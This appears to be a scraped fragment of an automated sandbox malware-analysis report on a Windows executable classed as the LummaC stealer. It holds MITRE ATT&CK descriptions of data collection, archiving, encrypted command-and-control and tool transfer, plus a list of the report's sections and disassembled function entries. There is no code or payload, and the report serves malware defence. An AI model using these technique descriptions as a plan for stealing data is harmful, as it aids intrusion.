Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 8ZVMneG.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
8ZVMneG.exe

Function 00EF21A9 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 00ED8362 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 00EF57C0 Relevance: 9.2, APIs: 6, Instructions: 162
fileCOMMON

Function 00EDEF5F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 196
fileCOMMONLIBRARYCODE

Function 00EF52D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 156
COMMON

Function 00EF5660 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81
memoryCOMMON

Function 00ED1131 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Function 00EDF738 Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Function 00ED8E82 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 00EF5B10 Relevance: 3.0, APIs: 2, Instructions: 48
COMMON

Function 00ED1249 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Function 00EF5600 Relevance: 3.0, APIs: 2, Instructions: 28
COMMON

Function 00ED75D3 Relevance: 2.6, APIs: 2, Instructions: 71
COMMONLIBRARYCODE

Function 00ECA10F Relevance: 1.6, APIs: 1, Instructions: 111
COMMON

Function 00EC8770 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre